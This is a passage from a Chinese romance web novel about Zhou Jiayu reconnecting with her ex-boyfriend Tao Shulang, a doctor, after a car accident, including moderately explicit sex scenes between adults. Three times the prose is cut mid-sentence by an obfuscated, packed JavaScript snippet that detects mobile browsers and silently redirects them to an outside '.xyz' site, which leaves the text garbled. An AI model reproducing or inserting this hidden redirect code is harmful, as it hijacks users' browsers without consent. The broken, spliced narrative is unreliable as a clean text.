周家瑜带他来到那间书房,她自己第一次来看房的时候,窗台下面有张书桌,窗外是层叠的绿意,就在那个瞬间她喜欢上了这个房子。 桌子上散落着几本自己看过的书,书房的小床只有一米二宽,她从柜子里拿出新的床单和枕套,她递给陶舒朗,“换下来的枕套和床单放在这个筐里。” 她拿着蜡烛去找新的毛巾牙刷和杯子。 泡完脚周家瑜躺在自己床上,自己一个人在家,和有别人在自己家的感觉真的不一样,她这么想着然后睡着了。 第二天醒来的时候陶舒朗已经走了,周家瑜没有听到一点动静,她昨天晚上睡得很好。 生活跟平时没什么不一样,两个人都很默契地没有谈他为什么会出现在她小区门口。 唯一的变化是周家瑜开始收到不少快递,什么应季水果海鲜,还有零食,小区快递代收点时不时就给她发来件信息。 周家瑜第一次去拿快递的时候,打开一看是自己爱吃的东西,是熟悉自己的人寄的东西,她没有问是谁寄出的快递。 后来陆续收到几样东西,她就确定了寄件人是陶舒朗,因为有好几样是之前两个人在一起时经常买的东西。 两个人都爱吃。 以前她看别人分享恋爱心得,喜欢一个人就是和对方一起吃很多次饭,两个人能吃到一块去是件幸福的事。 几次之后她给陶舒朗拍了一张脐橙的照片发了过去,陶舒朗那边回复,“这家店是同事推荐的,说脐橙很正宗,你尝尝。” 有人远程投喂是这种感觉。 周家瑜想说你不要再给我寄东西了,但感觉说出来又有点矫情。 那边又发来了消息,“有空的时候能不能一起吃个饭?” 吃人嘴短的时候来了。 周家瑜同时也发现自己并不排斥他来家里一起吃东西。 “可以,提前说。” 过了两天,两个人约好晚上一起吃饭,周家瑜问,“你想吃什么?” “火锅吧,之前吃的那家就不错,这次我请。” 周家瑜有时候会很宅,可以整个周末都不出门,最近天气变冷,她又开始喜欢在家里窝着。 “吃火锅可以,在家里吃吧,你快到了跟我说一句。” 家里有充足的食材,周家瑜一整天都在盼着下午下班回家吃火锅,在工位上她想象着自己到家的情形,她喜欢在厨房里备菜的过程。 快四点的时候她收到陶舒朗的电话,他的声音带着歉意,“家瑜,很抱歉,刚才临时通知需要加班,我今天过不去了。” “嗯,你先忙。” 下班到家后,周家瑜哼着歌在厨房里忙活,吃饭前她把一桌子的食材拍给都姿,都姿今天也在加班,正饥肠辘辘,“小日子过得真滋润呀,真羡慕嫉妒恨。” “加完班要不要来吃宵夜?” “我真的很想去呀,但今天老何出差回来。” “懂了。” 吃完饭收拾完,周家瑜坐在电脑前记账,她发现自己最近支出明显变少,因为她一直收到快递,不需要自己再买很多东西。 最近又体会了一下很久之前的感觉。 不是相爱的感觉,而是生活中有人关照的感觉。 ** 周家瑜这份工作有时候需要出差,因为李牧暗地里的照顾,她很少去出差,但是偶尔也会有出差的时候。 这周她去宁市出差,去的时候公司派车送到机场,快要到机场时车子被后面一辆车追尾,周家瑜只听见后面巨大的咣当一声,她感觉整个人都要向前飞,脑壳晕晕的,幸亏她有坐后排还有系安全带的习惯。 被追尾的后续就是她和司机都感觉不舒服,两个人被拉去了医院,出差的任务被另外一个同事临时顶上了。 李牧知道这件事后立马赶到周家瑜和司机所在的医院。 在去的路上,李牧给陶舒朗打电话,结果跟平时一样,电话那边没人接,李牧骂了一句粗口,“哥们,这么好的机会你要是把握不住。” 他在开车,又给陶舒朗留了一条语音信息,“你最好听这条信息啊。” 李牧到的时候两个人还在等检查结果,医院里拍片和等待结果的人很多,周家瑜目前恶心的症状已经减轻了不少,她在手机上查脑震荡的症状,自己目前还没有失忆的症状。 司机看到李牧来立马站了起来,周家瑜一直在看手机,听见他们的说话声也站了起来,跟来人打招呼,“李总。” 李牧赶紧招手让他们两个坐下,让秘书去办相关手续。 看见司机和周家瑜两个人脸色还行,他舒了一口气,“你们感觉怎么样,既然来了就做个详细的检查,车子已经让保险公司处理去了。” 这时候李牧的手机有来电,一看来电人,他起身说我去接个电话,在医院楼梯口处,李牧接通电话,那边传来有点焦急的声音,“家瑜现在怎么样?” “在等检查结果,我刚到医院,看着脸色还行。” “她当时坐在什么位置?” “车子后面。” 陶舒朗,“可能会伤到颈椎,有些症状三五天之后才会出现。” 安全起见,周家瑜和司机两个人都住了院, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501492|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人不在同一个病房,周家瑜回了一趟家,在家里收拾了一个小行李箱带过来,住院陌生又无聊,这是一个四人间,其余几个人好像都睡着了。 周家瑜也不知不觉中睡着了,因为换床还有换环境,她睡得不踏实,中途又醒过来,屋里灯是关着的,不知道是不是护士关的,只有走廊里的灯光透过门上面的长方形玻璃映进来。 她床边椅子上正坐着一个人,那人靠在床边用手支着头一动不动,看不清表情,只能看见身体的剪影。 她一动,身上盖的薄被发出窸窣的声音,坐在床边的人醒了过来。 周家瑜睡得迷迷糊糊,歪着头看着身边的人,陶舒朗给她掖了掖被角,他压低声音,附身在她耳边轻声问,“现在有没有感觉哪里不舒服?” 床上的人摇了摇头。 又想起光线太暗,问的人可能看不清,她也轻声说,“没有,就是困。” “嗯,继续睡吧。” 周家瑜迷迷糊糊地准备再次入睡,突然又想起一件事,“这里没地方睡,钥匙在我包里,你可以去家里睡。” “睡吧,我哪里也不去。”陶舒朗用手轻轻把她额头上的一缕头发拨到一旁,他早已适应了屋里昏暗的光线,自己的眼睛看着再次睡着的人。 周家瑜感觉自己做了一个梦,梦中有人跟自己轻声地说话,听到来人的声音她感到莫名的安心,她感觉自己的手被人握住,还有柔软的东西轻轻落在手背上。 在那一刻,她的心像被柔软的羽毛轻柔地拂过,她的整个世界变得软软的,好像有什么东西开始重新在血液里流动起来。 她身上有些痒。 第二天醒来的时候病房里不流通的空气里有饭菜的香味,她下床穿上鞋刚想去医院餐厅吃早饭,房门被推开,陶舒朗拎着早餐走进来。 周家瑜看到他,才知道昨天晚上的不是梦。 两个人拎着早餐去餐厅解决,陶舒朗把早餐从袋子里拿出来摆在桌子上,“你看看你愿意吃什么?” “我点的大部分都是清淡的。” 周家瑜一边吃一边问,“你今天不用上班吗?” “我跟同事调班了。” 两个人吃完饭在住院楼楼下散步,空气比房间里好多了,李牧一早往住院楼走的时候就看见不远处有一对外形出色的男女站在那。 女的在拉伸胳膊,男的趁她不注意的时候会看向女生,眼里带着专注和克制。 在旁边围观的李牧,“老夫的少女心阿。” 他也在心里吐槽了两句,对方的恋爱脑可以挪用一部分用来投资做生意。 李牧抓拍了几张照片,以后反正早晚用的上,就是不知道什么时候,自己静待时机。 他上去跟两个人打招呼,得知两个人已经吃了早餐,他带着早餐去小张住的那层楼去了。 周家瑜看着李牧离去的背影,“李总很有亲和力。” 陶舒朗漫不经心地说道,“嗯。” 周家瑜检查完都显示没问题后出了院,出院当天下去陶舒朗从江城赶过来接她回家。 她坐在副驾上想起之前的那顿火锅,“晚上要不要一起吃火锅?” “好。” 13. 第 13 章 在周家瑜家里,两个人吃完饭收拾之后坐在沙发上休息,周家瑜问,“要不要看电影?” 电影挑好了,点了播放键,好听的片头曲响起。 周家瑜眼睛看着屏幕,想沉浸其中却没能实现,因为有人离自己的距离越来越近,他的手勾住了自己的手,然后自己的手被人牵住,她的手想收回来的时候却被人更紧的握住。 周家瑜转头看旁边的人,他的眼睛在看屏幕,好像在专心地看电影,她无法,只好也去看屏幕,余光发现旁边的人又在看自己,她看过去,这一次他没有躲。 两个人就牵着手看着彼此,屏幕上的光影照在两个人脸上,电影一直在继续,光影一直在变化,两个人注视彼此的眼神没有改变。 像是跟几年前一样,中间时间的鸿沟好像不存在。 不知道是谁主动的,等两个人反应过来的时候他们早已吻到了一处,唇舌不断地吮吸和勾缠,他们紧紧抱着彼此,用非常大的力道,像是恨不得和对方融为一体。 周围的世界好像已经消失,周家瑜现在只有一个缺氧和发晕的世界,内心的欲望突然破土发芽,一瞬间像被施了魔咒一样,它长成了参天大树。 在随风招展,波涛汹涌。 她内心冷漠和酸楚不断快速地交织,胸口酸胀难耐,陶舒朗把她紧紧抱在自己怀里,在她耳边低声叫她的名字,“家瑜。” “家瑜。”又是一声。 他叫她的名字,希望得到她的回应。 陶舒朗有时候是不达目的誓不罢休的人,周家瑜回答,“嗯。” 终于得到回应,他开心极了,周家瑜都能听到自己耳边他笑意的气息,快乐是会传染的东西,她也轻松起来,这会抱在一起的感觉实在是太舒服了。 周家瑜的手慢慢向下,陶舒朗脸上出现克制又难耐的欲念,她在好好感受,她在想,什么是性感,这就是性感,直接面对自己的感受。 几分钟后陶舒朗起身慢慢地走到门口,周家瑜笑着也一起跟到门口,他趁她不注意的时候又把她拉进自己怀里,两个人的嘴巴又缠在一起。 周家瑜的嘴巴开始有些痒了,陶舒朗低着头在轻啄她的嘴唇,时不时还轻咬上两口,他咬她的嘴唇,她就咬他的下巴,各有各的瘾头。 房门终于关上,周家瑜听见陶舒朗下楼的脚步声,声音有些急促。 她脱掉衣服,把散乱的头发挽起来,在浴室里明亮的光线下,她看到自己的脸因为刚才的吻变得妩媚异常。 像春天来了之后,万物自然地盛放一样。 虽然现在是深秋,但是身体好像突然有了自己的主意。 她洗完澡在刷牙的时候有人在后面抱住了自己。 她吐出漱口水,对紧紧抱住自己的人说,“我马上就好。”两个人看着镜子中的彼此,他们深深地望向对方。 夜深人静一切平息下来的时候周家瑜躺在床上,身下的床单布满褶皱,墙上交缠不断的身影消失了,结实床板的嘎吱声也停了下来。 周家瑜一直很中意卧室的这张床,据房东说是她当年结婚时买的,当时就价格不菲,但是因为太喜欢,并且结婚是一辈子只有一次的事情,所以最后还是买了下来。 这张床大并且舒适,平时没有声音,今天晚上床上多了一个人,木板发出的声音让人羞耻到脸热。 她艰难地恢复自己说话的功能,“你轻点。” 她说这话的时候陶舒朗正把人钉在一个位置用尽全身的力气,两个人又是一阵哆嗦,他们脸上都有汗在滑落,他诚实地回应,“轻不了。” 不夸张地说,她中间一度以为床会塌掉,如果真的出现这种情况她不知道该如何跟房东交代。 此时她瘫软在柔软的薄被下,像一株终于喝饱了水分的植物,有人抱着她,她闭着眼睛,那个人不断地把羽毛般的吻落在她的脸上,脖颈和白皙的肌肤上。 狂风骤雨已经过境,整个世界像落满了白色的羽毛。 晚上闹到太晚,因为根本控制不住,周家瑜早上睡得迷迷糊糊的时候有人在她耳边叫她,“家瑜?” 她动了动,把头蒙在被子里,像一只在窝里冬眠被打扰的小动物,可爱又可怜。 声音如影随形。 “嗯?” “我要走了,你记得吃早饭。” 接着陶舒朗低头在她脸颊上落下一吻,房门轻轻地被关上,周家瑜的世界终于回归平静,早饭最终还是没吃,因为她根本起不来,人离开后她又自动地陷入香甜的睡眠,睡得昏天暗地。 陶舒朗一早开车回到关城,上楼进了办公室换好衣服,准备开始上班,现在同科室的人大家都很熟了,平时说话荤素不忌,没办法,工作有时候太忙压力太大了,神经需要时刻紧绷着,所以大家会说些刺激性的话题来放松自己。 科室有人问陶舒朗,“你今天看着跟平时不太一样,”然后观察了下四周,跟他拉近距离,“我看你面相,你最近走了桃花运,很旺阿,小心肾亏。” 陶舒朗正把笔放在胸前兜里,闻言面不改色,“我身体很好,我看你面相,发现你最近,”他动了动手指,那个同事好奇地凑过脸去,陶舒朗接着说道,“有尿频问题。” 陶舒朗说完就走开了,只留下一道清隽的身影,同事闻言脸黑了一半,因为他真被说对了。 陶舒朗查房间隙给周家瑜发了信息,一个人只要想联系另外一个人,再忙也会有时间的,“早饭吃了没?” 发过去的信息石沉大海,迟迟没人回复,他写病历的时候又把手机摆在旁边,设置了来信息提醒的声音。 快中午的时候有人终于有了反应,“我热了一下,当做午餐了。” 陶舒朗看着手机屏幕,眼里有笑意,他回想起昨天晚上的情形,身心都开始发热。 周家瑜那边又来了一条信息,“你还好吧?” “?”陶舒朗放下手头的工作,立即回了一条。 “我是说下面阿,我刚才上卫生间,下面有点沙沙的痛。” 陶舒朗认真地打了几个字,“我也是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501493|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “!”对面只回复了一个符号, 接着他解释了一下,发过去几个字,发完之后他的脖子真的开始发热了。 那边又有了回复,“好吧,冷敷一下可以吗?” “嗯,但是时间不要过长。” 对于周家瑜来说,性这件事在这几年中已经变成可有可无的东西,因为她这几年一直没有,所以已经淡了,她有时候不会觉得自己饿,昨天晚上就像突然意识到自己其实很饿,还在欲罢不能中一直吃到撑。 过度但是舒适,就是她现在的感受。 ** 上次追尾之后她在医院做了不少检查,她的身体没有什么问题,她下午回公司开始上班,李牧看到她来公司还把她叫到办公室聊了一会。 周家瑜在他办公室坐下后,李牧还亲自给她倒了一杯茶,周家瑜起身接过来,虽然李牧一直是很有亲和力的人,但她还是有点受宠若惊。 “你怎么没在家多休息几天,这几天公司也不忙。” “我身体没有什么不适,检查也没问题所以就回来上班了,不能一直给公司添麻烦。” “别这么说,你要是出了什么事,我没办法跟舒朗交代呀。” 周家瑜的手指无意识地摩挲着手里精致的杯子,“我和陶舒朗几年前已经分手了,现在是朋友关系。” “所以,你不用跟他交代,”她弯着嘴角,“也不用有什么负担。” 周家瑜出去之后,李牧坐在办公桌旁,旁边是需要审阅签字的文件,他坐在那看了一会,该签字的签字,该打电话沟通的沟通。 陶舒朗写完病例,这会有点空闲时间,他从办公桌里面拿出哑铃在练手臂肌肉力量,这时候他接到了李牧的电话。 “什么时候来江城?有空一起喝一杯。” “嗯,我提前给你打电话。” 周围没有人,李牧这会非常放松,他仰着头,靠在椅背上,“又开始敷衍了,你什么时候来阿,我这里可有你想见的人。” “很快。” “你可以考虑换个职业,直接来公司不就行了,现在也是小范围实现财务自由的人了,当医生真的是太辛苦了。” “照你这工作频率,你什么时候才能找到对象呢?” 陶舒朗感觉李牧好像变得有点嘴碎,“是不是有什么事情?” 李牧一激灵,他坐直身体,“没有,我只是想说恋爱就是要常见面才行。” “你最近和家瑜有进展吗?” 陶舒朗有时候不喜欢别人窥探自己的隐私,但是他不会明显地表现出来,只给了一个模棱两可的答案,“我继续努力。” 李牧挂掉电话后才意识到自己刚才像个嘴碎的太监,真是皇帝不急太监急,可能是因为自己的感情生活像沙漠,所以他才对别人的意难忘后续感兴趣。 其实他毕业之后一直致力于挣钱,一件事再好做久了有时候难免会无聊,挂掉电话后他回归老本行,继续整理邮件,整理完之后把邮件发了出去,发之前又检查了是否添加了密送人员。 14. 第 14 章 周家瑜从高铁站出来给彭月华打电话,今天赶上周末,出行的人多,附近路口堵车,彭月华让她等一会,大约需要十分钟。 周家瑜毕业后一直在江城上班,但是会定期回关城看父母,周元明虽然几乎每天都回家,实际上他已经脱离家庭很久了,她主要是看彭月华。 在周元明面前刷存在感也是她要做的,周元明出轨对不起彭月华,离婚好像是许多人第一反应中的最优解,周家瑜再小几岁可能也这么以为,但现在她和彭月华一样都不同意离婚。 成全他们,让周元明带着这些年的婚内所得去过幸福生活吗。 中午一家三口久违地一起吃了饭,他们去了市里一家有名的海鲜餐厅,今天周元明请客,点完餐之后一家人随意说些家常话。 在外人看来这就是普通的家人相处模式,周元明坐在那,不由自主地想去摸烟盒,室内禁烟,看样子他想去外面抽烟。 周家瑜见状叮嘱周元明,“爸,之前刚住了院,烟真的要少抽了。” 周元明眼神里闪过一丝不自然,嘴上敷衍地答着。 下午周家瑜带彭月华一起去足疗,她们出家门之前问周元明,他说不去,下午有一些新货要到,他也要清点库存。 周元明这些年看店一直亲力亲为,不少人建议他招个人,他摆手说不用,自己还能应付过来,他自己心里的想法是,找帮手要钱,对方还可能会手脚不干净。 晚上吃完饭彭月华把周家瑜送到她楼下,下午母女两个做了足疗逛了街,周家瑜手里拎着当地的土特产。 彭月华知道她换工作的事情,让她下周上班带到办公室给大家尝尝,周家瑜推脱不过,手里拎着两个袋子上楼。 她上楼的脚步声有规律地响起,感应灯接连亮起来,她关上房门后,门外的感应灯随即熄灭。 有一阵没回来,但屋里还是很干净,没有灰尘,她不在的时候彭月华会定期来打扫。 洗完热水澡吹干头发,坐在垫子上拉伸完,她在想接下来做什么。 陶舒朗今天班上非常忙碌,跟了两个手术,都比预计的时间要长,在高强度的工作下,他觉得自己体力还可以应对,就是精神上很累,因为要一直紧绷着神经。 下班后他没在外面吃饭,他打算回家随便对付一点,上车之后启动之前他打开手机,未读的消息不少,但是里面没有周家瑜的消息。 那天两个人在一起,在她看来好像是不值得一提的事情,因为她不联系自己,跟两个人分手后一样,好像他这个人不存在一样。 走到楼下,他下意识地向楼上看去,原本他以为三楼应该跟往常一样,两边都是黑漆漆的。 没想到的是,今天周家瑜家里竟然亮着灯,他又抬头确认了一遍,然后开始大步上楼。 他有一次在楼下遇见周家瑜的妈妈,她会定期来打扫房子,彭月华并不知道陶舒朗是谁,周元明之前住院,陶舒朗在他病房附近站了一会,他见过彭月华。 陶舒朗上楼的时候在想,会不会是彭月华来看房子,如果不是周家瑜,自己会像个毛头小子一样空欢喜一场。 他放慢步子,平复自己的心跳,此刻的心情像大奖揭晓前紧张的那一刻。 周家瑜此时正坐在瑜伽垫上想要干什么,接着她听见楼道里传来的脚步声,声音越来越清晰。 她竟然不自觉地有点紧张起来,她走到门口,把猫眼上的盖子旋开,凑上前向外面看去。 扁又失真的视角里,有个高大的身影走上来。 身影在门口站定,竟然背对着自己静止不动,好像在想钥匙在哪,但是人没有丝毫动作。 周家瑜看了两秒,手握着门把手推门而出,门口站立的那人这时候恰好转身,两个人立即抱了个满怀。 两个人紧紧抱住不动,只有彼此的呼吸声越来越大,这时候楼道里的感应灯又灭了,周家瑜家里的灯亮着,灯光从半开的门口泄出来。 两个人都不由自主地享受这意外和静谧的一刻。 不知道是谁找到了谁的嘴巴,两个人在昏暗的楼道里缠吻起来。 陶舒朗低沉有磁性的声音在耳边,“你回来怎么没给我发信息?”,怀里的人被他亲得七荤八素,没有给他回应,他轻咬着她的嘴唇,又侧脸亲了亲她的脸颊,往她耳朵边吹气,“嗯?” 两个人之前谈恋爱的时候该发生的都发生了,对彼此的身体和敏感点都了如指掌,周家瑜的是耳朵。 她耳边被吹了气,身体又痒又热,往始作俑者的怀里缩进去,像逃避又像寻求更深的安慰。 没得到回应,陶舒朗最近两天有点压抑的心情竟然轻快了不少,他嘴角带着笑意,拥着周家瑜进了房门。 进了家,两个人在一个私密的空间,几天没见,又是自然而然地一通纠缠,周家瑜刚才吹完头发,头发本来就是蓬松自然的状态,这会被人捧着脸固定住脸颊亲吻,从背影看头发像长长的海藻。 陶舒朗深吻一通后,像找到心爱的玩具,在她脸上随意落下亲吻,间隙中他停下来凝视着周家瑜那张让他着迷的脸庞。他喟叹,“你真可爱,”接着他又呢喃,“你自己知道这件事吗?” 周家瑜被吻得非常舒服,脸上像是带着微醺的醉意,“早就知道呀。” 陶舒朗听见他的回答,开始笑起来,因为两个人坐在沙发上身体紧贴着,周家瑜能感受到他胸腔的震动,她想起那天他身体的触感,手感真的是没的说。 几年不见,他应该一直在坚持健身,身材更好了,正是自己喜欢的那种类型。 她身随意动,从他上衣下摆把自己的手伸进去,摸到他紧实又光滑的肌肤,她把头放在他的颈窝里,嗅着他身上的味道,一边肆意地摩挲,一边在想,他这件内搭不错,是羊绒的吗,有钱后现在就是讲究了。 想着她就开始有些仇富,手指在他光滑的肌肤上散开抓拢,开始用巧力挠他的肌肉,手下的身体明显地紧绷起来。 陶舒朗的呼吸开始越来越重,他一直很享受两个人对彼此身体的着迷,在一起互相探索对方的身体真的是乐此不疲的事情。 不过眼下来日方长。 他现在不想两个人重新开始的定位出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501494|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现偏差,他要的是两个人真的在一起,像男女朋友那样,而不是因为对彼此的身体着迷而意乱情迷,但事后又很快抽离出去。 这种不是他想要的,他想要的是她的全部,她的心,她的身体,她的一切。 他按住她在自己身上持续作乱的手,深呼吸了几下,理智上是一回事,但是温香软玉在怀,还不断地在勾自己,天知道他用了多大的意志力才没有生扑上去。 “家里有吃的吗?我还没吃饭。” 别人没吃饭就要对方卖力,这样会显得自己太功利主义,周家瑜也冷静了下来,从他身上下来,“我今天刚回来,家里什么吃的都没有。” “你家呢?有什么东西。” 陶舒朗也记不太清楚了,自己去超市是前天还是大前天的事情,他随口说了几样。 “你是想在家吃还是叫外卖。” “在家随便吃点,我不讲究。” 这会嘴里说着不讲究的人,当时两个人在一起的时候,陶舒朗会监督周家瑜的饮食,他是学医的,也会营养搭配。 当时他对两个人的饮食讲究得很,尤其是周家瑜的,每天肉蛋奶蔬菜是必须要吃的,奶茶也不是不让喝,因为周家瑜太会撒娇了,最后妥协的结果是每周要限量。 两个人去了对门,周家瑜还是穿着睡衣拖鞋,只在睡衣外面套了一件毛衣开衫,陶舒朗走在前面,穿着质量精良的外套。 他挺拔清隽的背影让周家瑜很有感觉。 房间内的灯光被调成柔和的光线,音响里放着音乐,浴室里有淅沥的水声,厨房里有切菜的声音,一会抽油烟机的声音响起。 周家瑜把头发松松地挽起,正站在灶台前煮竹升面,旁边一个灶眼煮着海鲜粥,她掀开砂锅的盖子去搅拌防止粘锅。 后面有人靠过来抱住了自己,带着沐浴的水汽和香气,在饭香中周家瑜抽了抽鼻子,“你用的什么牌子的沐浴露,味道有点好闻。” 陶舒朗在后面把她抱得紧紧的,头上半干的头发有点潮湿,“这会想不起来了,还有没拆封的,你试试看好不好用。” 接着他用自己下巴上若隐若现的胡茬去扎怀里的人,有人在厨房捣乱真的施展不开,周家瑜伸手在他胳膊上拧了一下,手感好硬,“你去吹头发,面马上好了,粥还要十分钟。” 陶舒朗不情愿地起身去吹头发,他吹头发的时候脑海中一直浮现自己进厨房看到的那副场景。 心心念的人在为自己忙碌着,让他对家的概念终于有了切身的感受,是很久没有过的感觉。 他想起很久之前朋友圈有人发生活日常,配了一句诗,毕业后他一直过着非常忙碌的生活,自己对生活中的小细节和感受好像已经绝缘很久了,吃饭只是果腹,睡觉只是为了自己第二天上班有更好的精力,连坚持的健身也是按部就班的习惯而已。 今天晚上周家瑜在,生活中的一切顿时变得鲜活起来。 他惊讶地发现自己竟然还记得那句诗的关键词,他拿出手机搜了搜,随即就找到了。 闲时与你立黄昏,灶前笑问粥可温。 16-20 第16章 第16章不可理喻 陶舒朗的话音落下,车内有一瞬间的寂静,可能是一秒,可能是两秒,问出问题的人等待回答,被问的人因为毫无防备有一瞬间的卡壳。 周家瑜因为毫无防备,还有刚喝的热饮让她全身舒适,她说了实话,“现在的状态是很好。” “但是承诺只在做出的那一瞬间是真诚的。” 她顿了一秒,后又加了一句,“以后会怎么样,谁都不能预料。” 陶舒朗感觉胸口处一阵针扎似的刺痒,以前两个人在一起的时候,他们两个好像没有告白的环节,两个人很自然地就在一起了。 没有那些仪式感,但他们感情非常好,后来两个人分手,陶舒朗是提分手的那个人,他没资格去挽留,周家瑜因为提前知道了事情的来龙去脉,也很快地接受了他分手的提议。 分手很快很利落。 两个人没有好好地告别。 他们两个直接从最亲密的人变成了曾经最熟悉彼此的陌路人。 此后三年,两个人杳无音信。 陶舒朗这会才意识到自己要求承诺的讽刺性,熟悉的自厌情绪又开始袭来。 他知道周家瑜说的是对的,她只是单纯地讲明了一个事实。 “你说的对。”他的表情也开始变得淡漠,刚才车内气氛融融的感觉这个时候已经荡然无存,过去的记忆之门打开,门缝里吹来一道刺骨的风,让站在门口的人顿时清醒。 人有时候很难忘却一些事情。 陶舒朗等周家瑜喝完,他下车去扔纸杯,外面的寒风有提神的效果,陶舒朗不管自己的心情或者情绪如何,他都只管去做正确的事,在这三年中,工作,健身,还有连绵不绝的思念是正确的事,现在在她身边,能为她做一些事就是正确的事。 如果当事人有些排斥怎么办,没关系,他觉得自己还是会选择待在她身边,因为他之前已经浪费了太多时间。 每个人都有自己的一些任性或不可理喻,陶舒朗觉得自己的任性还有不可理喻就是周家瑜。 两个人驱车回到周家瑜的住处,车内那场让气氛转变的谈话好像对两个人的行为没有任何影响,洗漱完他们又欢好了一场。 事后周家瑜窝在他的怀里,闻着他身上好闻的气味,她的身体有些累,但是刚才有极致的快乐,让她在寒冷的冬夜感觉暖洋洋的。 窝在他怀里有很安心的感觉,她沉沉睡去,感觉身旁的人在自己额头上轻轻落下一吻,他的嘴唇在她额头上停留了一会。 陶舒朗从江城回到关城,工作还是跟之前一样忙碌,中午有时间的时候,他会和科室的几个同事一起吃饭,人数不固定,但饭搭子来来回回总是那几个。 医生写医嘱一般会跟病人交代平时饮食要清淡,但他们自己有时候饮食也并不清淡,有时候就想吃些重口味的刺激一下过度工作之后有点麻木的大脑。 科室之前有人迷上钵钵鸡,还专门在网上买了钵钵鸡料包在家自己煮。 今天中午大家一起吃饭,各自端着餐盘聚到一张桌子上,路医生看见陶舒朗,“我今天在走廊路过咱们工作栏,发现又有女生在拍你的照片。” 对于陶舒朗被拍这件事,其他同事已经见怪不怪了,这种现象从陶舒朗来这里上班就开始了。 然而陶舒朗并不想要额外的关注,病人来看病,他认真处理完,他觉得自己的工作就到此为止了。 他点了点头,然后安静地吃着自己前面的那份午饭,和周家瑜分手之后,有一段时间他吃不下饭,虽然自己是学医的,知道身体正常的新陈代谢需要能量,但是他觉得一天要吃三顿饭真的有点麻烦。 他已经忘记自己之前和周家瑜在一起的时候很喜欢吃饭的时间,因为两个人可以腻在一起一边吃一边随意地聊天。 分手后有段时间他真觉得吃饭是一种累赘,不吃就会饿,吃又吃不下,那时候,他更倾向于一个人在办公室里吃。 和别人一起吃,周围人的说话声突然让他觉得好吵,那种感觉像一个人本来安静地坐着,突然有人凭空跳出来,在他耳边拿着榔头猛敲铁桶,但是他什么也不能说,因为他知道自己有这种感受不是别人的错,在这种情况下,他只能在旁边听着。 他自己独自吃饭就清净得多,他坐在自己办公桌前,张大嘴巴,大口地往里填食物,然后闭上嘴巴开始咀嚼。 他对自己说,很好,接着又吃下一口,然后下一秒他就开始感觉有点恶心,胃部深处有向上翻涌的冲动,没关系,等这股冲动过去,再张嘴,再给自己填食物。 现在,他喜欢和同事坐在一起吃饭,喜欢他们吐槽病人吐槽医院某些奇葩的规定,同事偶尔调侃自己他也安然处之。 别人的看法现在已经很少能影响到他了,一个人涉过汹涌黑暗的河水,上岸之后就会平静很多,在别人不知道的时候有过很多挣扎,重新出世后就更在意自己内心的感受。 陶舒朗现在乐意把生活中所有的小细节分享给周家瑜,比如今天吃的午餐,他取餐的时候注意了荤素和色彩搭配,然后拍了一张照片发给周家瑜。 周家瑜中午也是在公司吃,新公司因为只有两三年的时间,员工不多,所以餐厅可以做到小而精,伙食还相当不错,比之前的公司更人性化一些。 之前周家瑜一个人生活的时候,生活中的每一件小事,在独居的人看来都值得记录,她想让自己忙起来,不要想一些有的没的, 不断地对过去进行闪回,所以有一段时间,她真的在记录自己每天吃了什么,每天睡了多长时间这些生活中的琐碎小事。 坚持了一段时间,后来因为工作忙碌不了了之了,现在进了这家公司,好吃的餐厅让她重新有了记录饮食的兴趣。 她点开陶舒朗发来的照片,一个人住久了,有时候一整天手机都不响一下,有人来跟自己分享日常,这时候周家瑜自己也会生出一种分享的欲望。 她把自己的午餐照发给了陶舒朗。 陶舒朗当了医生之后吃饭速度变得更快一些,因为有时候不吃快一点,还没吃饱就被电话叫走了。 他这会坐在办公室,脸上带着情不自禁的笑意,他看着手机里的照片,问她,“糖醋排骨好吃吗?” “味道很不错。” “听同事说,公司的厨师之前在五星级酒店上班。” 周家瑜承认,口腹之欲得到满足,有时候会让人很有幸福感,好像可以去原谅这个世界上很多难以理解的事情。 周家瑜把照片也给彭月华发了一张,彭月华回复女儿信息之后,把手机放在客厅的桌子上,她身上系着围裙,这会正准备洗菜。 最近周元明已经完全把家里当做旅店,几乎整天都看不见他的人影,伤心吗,倒没有,反而有一种尘埃落定的感觉。 彭月华觉得整个家里就自己一个人真的是非常清净,周元明在家的时候,两个人一起吃饭,他在饭桌上都要摆上手机支架,自己在那边看视频边吃饭。 彭月华看着他吃着自己做的饭,然后眼睛盯着手机,手机外放的视频一个接着一个,声音嘈杂,音乐刺耳,什么国际大事,什么家长里短,对方完全把自己当空气,自己对他来说好像只是一个功能性的做饭机器。 有时候她想想,这日子真的过得没劲透了,至于夫妻生活,两个人也很久没在一起了,久到彭月华都忘记有多长时间了。 